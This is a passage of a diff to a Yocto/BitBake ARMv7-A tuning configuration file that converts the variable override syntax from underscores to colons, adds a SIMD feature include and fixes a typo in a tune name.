+PACKAGE_EXTRA_ARCHS:tune-armv6m = "armv6m"
diff --git a/meta/conf/machine/include/arm/arch-armv7a.inc b/meta/conf/machine/include/arm/arch-armv7a.inc
index 199e63f98a..74fc8d11ab 100644
--- a/meta/conf/machine/include/arm/arch-armv7a.inc
+++ b/meta/conf/machine/include/arm/arch-armv7a.inc
@@ -3,164 +3,165 @@ ARM_INSTRUCTION_SET ?= "thumb"
TUNEVALID[armv7a] = "Enable instructions for ARMv7-a"
TUNECONFLICTS[armv7a] = "armv4 armv5 armv6 armv7"
-TUNE_CCARGS .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7a', ' -march=armv7-a', '', d)}"
-MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7a', 'armv7a:', '' ,d)}"
+TUNE_CCARGS_MARCH .= "${@bb.utils.contains('TUNE_FEATURES', 'armv7a', ' -march=armv7-a', '', d)}"
+MACHINEOVERRIDES =. "${@bb.utils.contains('TUNE_FEATURES', 'armv7a', 'armv7a:', '', d)}"
require conf/machine/include/arm/arch-armv6.inc
require conf/machine/include/arm/feature-arm-neon.inc
+require conf/machine/include/arm/feature-arm-simd.inc
# Little Endian base configs
AVAILTUNES += "armv7a armv7at armv7a-vfpv3d16 armv7at-vfpv3d16 armv7a-vfpv3 armv7at-vfpv3 armv7a-vfpv4d16 armv7at-vfpv4d16 armv7a-neon armv7at-neon armv7a-neon-vfpv4 armv7at-neon-vfpv4"
-ARMPKGARCH_tune-armv7a ?= "armv7a"
-ARMPKGARCH_tune-armv7at ?= "armv7a"
-ARMPKGARCH_tune-armv7a-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7at-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7a-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7at-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7a-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7at-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7a-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7at-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7a-neon-vfpv4 ?= "armv7a"
-ARMPKGARCH_tune-armv7at-neon-vfpv4 ?= "armv7a"
-TUNE_FEATURES_tune-armv7a = "arm armv7a vfp"
-TUNE_FEATURES_tune-armv7at = "${TUNE_FEATURES_tune-armv7a} thumb"
-TUNE_FEATURES_tune-armv7a-vfpv3d16 = "${TUNE_FEATURES_tune-armv7a} vfpv3d16"
-TUNE_FEATURES_tune-armv7at-vfpv3d16 = "${TUNE_FEATURES_tune-armv7at} vfpv3d16"
-TUNE_FEATURES_tune-armv7a-vfpv3 = "${TUNE_FEATURES_tune-armv7a-vfpv3d16} vfpv3"
-TUNE_FEATURES_tune-armv7at-vfpv3 = "${TUNE_FEATURES_tune-armv7at-vfpv3d16} vfpv3"
-TUNE_FEATURES_tune-armv7a-vfpv4d16 = "${TUNE_FEATURES_tune-armv7a} vfpv4d16"
-TUNE_FEATURES_tune-armv7at-vfpv4d16 = "${TUNE_FEATURES_tune-armv7at} vfpv4d16"
-TUNE_FEATURES_tune-armv7a-neon = "${TUNE_FEATURES_tune-armv7a} neon"
-TUNE_FEATURES_tune-armv7at-neon = "${TUNE_FEATURES_tune-armv7at} neon"
-TUNE_FEATURES_tune-armv7a-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7a-neon} vfpv4"
-TUNE_FEATURES_tune-armv7at-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7at-neon} vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7a = "${PACKAGE_EXTRA_ARCHS_tune-armv6} armv7a armv7a-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7at = "${PACKAGE_EXTRA_ARCHS_tune-armv6t} armv7a armv7a-vfp armv7at2-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} armv7a-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} armv7a-vfpv3d16 armv7at2-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv3d16} armv7a-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv3d16} armv7a-vfpv3 armv7at2-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} armv7a-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} armv7a-vfpv4d16 armv7at2-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7a} armv7a-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7at} armv7a-neon armv7at2-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7a-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7a-neon} armv7a-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7at-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7at-neon} armv7a-neon-vfpv4 armv7at2-neon-vfpv4"
+ARMPKGARCH:tune-armv7a ?= "armv7a"
+ARMPKGARCH:tune-armv7at ?= "armv7a"
+ARMPKGARCH:tune-armv7a-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7at-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7a-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7at-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7a-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7at-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7a-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7at-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7a-neon-vfpv4 ?= "armv7a"
+ARMPKGARCH:tune-armv7at-neon-vfpv4 ?= "armv7a"
+TUNE_FEATURES:tune-armv7a = "arm armv7a vfp"
+TUNE_FEATURES:tune-armv7at = "${TUNE_FEATURES:tune-armv7a} thumb"
+TUNE_FEATURES:tune-armv7a-vfpv3d16 = "${TUNE_FEATURES:tune-armv7a} vfpv3d16"
+TUNE_FEATURES:tune-armv7at-vfpv3d16 = "${TUNE_FEATURES:tune-armv7at} vfpv3d16"
+TUNE_FEATURES:tune-armv7a-vfpv3 = "${TUNE_FEATURES:tune-armv7a-vfpv3d16} vfpv3"
+TUNE_FEATURES:tune-armv7at-vfpv3 = "${TUNE_FEATURES:tune-armv7at-vfpv3d16} vfpv3"
+TUNE_FEATURES:tune-armv7a-vfpv4d16 = "${TUNE_FEATURES:tune-armv7a} vfpv4d16"
+TUNE_FEATURES:tune-armv7at-vfpv4d16 = "${TUNE_FEATURES:tune-armv7at} vfpv4d16"
+TUNE_FEATURES:tune-armv7a-neon = "${TUNE_FEATURES:tune-armv7a} neon"
+TUNE_FEATURES:tune-armv7at-neon = "${TUNE_FEATURES:tune-armv7at} neon"
+TUNE_FEATURES:tune-armv7a-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7a-neon} vfpv4"
+TUNE_FEATURES:tune-armv7at-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7at-neon} vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7a = "${PACKAGE_EXTRA_ARCHS:tune-armv6} armv7a armv7a-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7at = "${PACKAGE_EXTRA_ARCHS:tune-armv6t} armv7a armv7a-vfp armv7at2-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} armv7a-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} armv7a-vfpv3d16 armv7at2-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv3d16} armv7a-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv3d16} armv7a-vfpv3 armv7at2-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} armv7a-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} armv7a-vfpv4d16 armv7at2-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7a} armv7a-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7at} armv7a-neon armv7at2-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7a-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7a-neon} armv7a-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7at-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7at-neon} armv7a-neon-vfpv4 armv7at2-neon-vfpv4"
# HF Tunes
AVAILTUNES += "armv7ahf armv7athf armv7ahf-vfpv3d16 armv7athf-vfpv3d16 armv7ahf-vfpv3 armv7athf-vfpv3 armv7ahf-vfpv4d16 armv7athf-vfpv4d16 armv7ahf-neon armv7athf-neon armv7ahf-neon-vfpv4 armv7athf-neon-vfpv4"
-ARMPKGARCH_tune-armv7ahf ?= "armv7a"
-ARMPKGARCH_tune-armv7athf ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7ahf-neon-vfpv4 ?= "armv7a"
-ARMPKGARCH_tune-armv7athf-neon-vfpv4 ?= "armv7a"
-TUNE_FEATURES_tune-armv7ahf = "${TUNE_FEATURES_tune-armv7a} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf = "${TUNE_FEATURES_tune-armv7at} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-vfpv3d16 = "${TUNE_FEATURES_tune-armv7a-vfpv3d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-vfpv3d16 = "${TUNE_FEATURES_tune-armv7at-vfpv3d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-vfpv3 = "${TUNE_FEATURES_tune-armv7a-vfpv3} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-vfpv3 = "${TUNE_FEATURES_tune-armv7at-vfpv3} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-vfpv4d16 = "${TUNE_FEATURES_tune-armv7a-vfpv4d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-vfpv4d16 = "${TUNE_FEATURES_tune-armv7at-vfpv4d16} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-neon = "${TUNE_FEATURES_tune-armv7a-neon} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-neon = "${TUNE_FEATURES_tune-armv7at-neon} callconvention-hard"
-TUNE_FEATURES_tune-armv7ahf-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7a-neon-vfpv4} callconvention-hard"
-TUNE_FEATURES_tune-armv7athf-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7at-neon-vfpv4} callconvention-hard"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf = "${PACKAGE_EXTRA_ARCHS_tune-armv6hf} armv7ahf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf = "${PACKAGE_EXTRA_ARCHS_tune-armv6thf} armv7ahf-vfp armv7at2hf-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} armv7ahf-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} armv7ahf-vfpv3d16 armv7at2hf-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv3d16} armv7ahf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv3d16} armv7ahf-vfpv3 armv7at2hf-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} armv7ahf-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} armv7ahf-vfpv4d16 armv7at2hf-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf} armv7ahf-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf} armv7ahf-neon armv7at2hf-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ahf-neon} armv7ahf-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7athf-neon} armv7ahf-neon-vfpv4 armv7at2hf-neon-vfpv4"
+ARMPKGARCH:tune-armv7ahf ?= "armv7a"
+ARMPKGARCH:tune-armv7athf ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7ahf-neon-vfpv4 ?= "armv7a"
+ARMPKGARCH:tune-armv7athf-neon-vfpv4 ?= "armv7a"
+TUNE_FEATURES:tune-armv7ahf = "${TUNE_FEATURES:tune-armv7a} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf = "${TUNE_FEATURES:tune-armv7at} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-vfpv3d16 = "${TUNE_FEATURES:tune-armv7a-vfpv3d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-vfpv3d16 = "${TUNE_FEATURES:tune-armv7at-vfpv3d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-vfpv3 = "${TUNE_FEATURES:tune-armv7a-vfpv3} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-vfpv3 = "${TUNE_FEATURES:tune-armv7at-vfpv3} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-vfpv4d16 = "${TUNE_FEATURES:tune-armv7a-vfpv4d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-vfpv4d16 = "${TUNE_FEATURES:tune-armv7at-vfpv4d16} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-neon = "${TUNE_FEATURES:tune-armv7a-neon} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-neon = "${TUNE_FEATURES:tune-armv7at-neon} callconvention-hard"
+TUNE_FEATURES:tune-armv7ahf-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7a-neon-vfpv4} callconvention-hard"
+TUNE_FEATURES:tune-armv7athf-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7at-neon-vfpv4} callconvention-hard"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf = "${PACKAGE_EXTRA_ARCHS:tune-armv6hf} armv7ahf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf = "${PACKAGE_EXTRA_ARCHS:tune-armv6thf} armv7ahf-vfp armv7at2hf-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} armv7ahf-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} armv7ahf-vfpv3d16 armv7at2hf-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv3d16} armv7ahf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv3d16} armv7ahf-vfpv3 armv7at2hf-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} armv7ahf-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} armv7ahf-vfpv4d16 armv7at2hf-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf} armv7ahf-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf} armv7ahf-neon armv7at2hf-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ahf-neon} armv7ahf-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7athf-neon} armv7ahf-neon-vfpv4 armv7at2hf-neon-vfpv4"
# Big Endian
AVAILTUNES += "armv7ab armv7atb armv7ab-vfpv3d16 armv7atb-vfpv3d16 armv7ab-vfpv3 armv7atb-vfpv3 armv7ab-vfpv4d16 armv7atb-vfpv4d16 armv7ab-neon armv7atb-neon armv7ab-neon-vfpv4 armv7atb-neon-vfpv4"
-ARMPKGARCH_tune-armv7ab ?= "armv7a"
-ARMPKGARCH_tune-armv7atb ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7ab-neon-vfpv4 ?= "armv7a"
-ARMPKGARCH_tune-armv7atb-neon-vfpv4 ?= "armv7a"
-TUNE_FEATURES_tune-armv7ab = "${TUNE_FEATURES_tune-armv7a} bigendian"
-TUNE_FEATURES_tune-armv7atb = "${TUNE_FEATURES_tune-armv7at} bigendian"
-TUNE_FEATURES_tune-armv7ab-vfpv3d16 = "${TUNE_FEATURES_tune-armv7a-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7atb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7at-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7ab-vfpv3 = "${TUNE_FEATURES_tune-armv7a-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7atb-vfpv3 = "${TUNE_FEATURES_tune-armv7at-vfpv3} bigendian"
-TUNE_FEATURES_tune-armv7ab-vfpv4d16 = "${TUNE_FEATURES_tune-armv7a-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7atb-vfpv4d16 = "${TUNE_FEATURES_tune-armv7at-vfpv4d16} bigendian"
-TUNE_FEATURES_tune-armv7ab-neon = "${TUNE_FEATURES_tune-armv7a-neon} bigendian"
-TUNE_FEATURES_tune-armv7atb-neon = "${TUNE_FEATURES_tune-armv7at-neon} bigendian"
-TUNE_FEATURES_tune-armv7ab-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7a-neon-vfpv4} bigendian"
-TUNE_FEATURES_tune-armv7atb-neon-vfpv4 = "${TUNE_FEATURES_tune-armv7at-neon-vfpv4} bigendian"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab = "${PACKAGE_EXTRA_ARCHS_tune-armv6b} armv7ab-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb = "${PACKAGE_EXTRA_ARCHS_tune-armv6tb} armv7ab-vfp armv7at2b-vfp"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab} armv7ab-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb} armv7ab-vfpv3d16 armv7at2b-vfpv3d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab-vfpv3d16} armv7ab-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-vfpv3 = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb-vfpv3d16} armv7ab-vfpv3 armv7at2b-vfpv3"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab} armv7ab-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-vfp43d16 = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb} armv7ab-vfpv4d16 armv7at2b-vfpv4d16"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab} armv7ab-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-neon = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb} armv7ab-neon armv7at2b-neon"
-PACKAGE_EXTRA_ARCHS_tune-armv7ab-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7ab-neon} armv7ab-neon-vfpv4"
-PACKAGE_EXTRA_ARCHS_tune-armv7atb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS_tune-armv7atb-neon} armv7ab-neon-vfpv4 armv7at2b-neon-vfpv4"
+ARMPKGARCH:tune-armv7ab ?= "armv7a"
+ARMPKGARCH:tune-armv7atb ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-vfpv3d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-vfpv3 ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-vfpv4d16 ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-neon ?= "armv7a"
+ARMPKGARCH:tune-armv7ab-neon-vfpv4 ?= "armv7a"
+ARMPKGARCH:tune-armv7atb-neon-vfpv4 ?= "armv7a"
+TUNE_FEATURES:tune-armv7ab = "${TUNE_FEATURES:tune-armv7a} bigendian"
+TUNE_FEATURES:tune-armv7atb = "${TUNE_FEATURES:tune-armv7at} bigendian"
+TUNE_FEATURES:tune-armv7ab-vfpv3d16 = "${TUNE_FEATURES:tune-armv7a-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7atb-vfpv3d16 = "${TUNE_FEATURES:tune-armv7at-vfpv3d16} bigendian"
+TUNE_FEATURES:tune-armv7ab-vfpv3 = "${TUNE_FEATURES:tune-armv7a-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7atb-vfpv3 = "${TUNE_FEATURES:tune-armv7at-vfpv3} bigendian"
+TUNE_FEATURES:tune-armv7ab-vfpv4d16 = "${TUNE_FEATURES:tune-armv7a-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7atb-vfpv4d16 = "${TUNE_FEATURES:tune-armv7at-vfpv4d16} bigendian"
+TUNE_FEATURES:tune-armv7ab-neon = "${TUNE_FEATURES:tune-armv7a-neon} bigendian"
+TUNE_FEATURES:tune-armv7atb-neon = "${TUNE_FEATURES:tune-armv7at-neon} bigendian"
+TUNE_FEATURES:tune-armv7ab-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7a-neon-vfpv4} bigendian"
+TUNE_FEATURES:tune-armv7atb-neon-vfpv4 = "${TUNE_FEATURES:tune-armv7at-neon-vfpv4} bigendian"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab = "${PACKAGE_EXTRA_ARCHS:tune-armv6b} armv7ab-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb = "${PACKAGE_EXTRA_ARCHS:tune-armv6tb} armv7ab-vfp armv7at2b-vfp"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab} armv7ab-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-vfpv3d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb} armv7ab-vfpv3d16 armv7at2b-vfpv3d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab-vfpv3d16} armv7ab-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-vfpv3 = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb-vfpv3d16} armv7ab-vfpv3 armv7at2b-vfpv3"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab} armv7ab-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-vfpv4d16 = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb} armv7ab-vfpv4d16 armv7at2b-vfpv4d16"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab} armv7ab-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-neon = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb} armv7ab-neon armv7at2b-neon"
+PACKAGE_EXTRA_ARCHS:tune-armv7ab-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7ab-neon} armv7ab-neon-vfpv4"
+PACKAGE_EXTRA_ARCHS:tune-armv7atb-neon-vfpv4 = "${PACKAGE_EXTRA_ARCHS:tune-armv7atb-neon} armv7ab-neon-vfpv4 armv7at2b-neon-vfpv4"
# Big Endian + HF
AVAILTUNES += "armv7ahfb armv7athfb armv7ahfb-vfpv3d16 armv7athfb-vfpv3d16 armv7ahfb-vfpv3 armv7athfb-vfpv3 armv7ahfb-vfpv4d16 armv7athfb-vfpv4d16 armv7ahfb-neon armv7athfb-neon armv7ahfb-neon-vfpv4 armv7athfb-neon-vfpv4"
-ARMPKGARCH_tune-armv7ahfb ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-vfpv3d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-vfpv3 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-vfpv4d16 ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-neon ?= "armv7a"
-ARMPKGARCH_tune-armv7ahfb-neon-vfpv4 ?= "armv7a"
-ARMPKGARCH_tune-armv7athfb-neon-vfpv4 ?= "armv7a"
-TUNE_FEATURES_tune-armv7ahfb = "${TUNE_FEATURES_tune-armv7ahf} bigendian"
-TUNE_FEATURES_tune-armv7athfb = "${TUNE_FEATURES_tune-armv7athf} bigendian"
-TUNE_FEATURES_tune-armv7ahfb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7ahf-vfpv3d16} bigendian"
-TUNE_FEATURES_tune-armv7athfb-vfpv3d16 = "${TUNE_FEATURES_tune-armv7athf-vfpv3d16} bigendian"
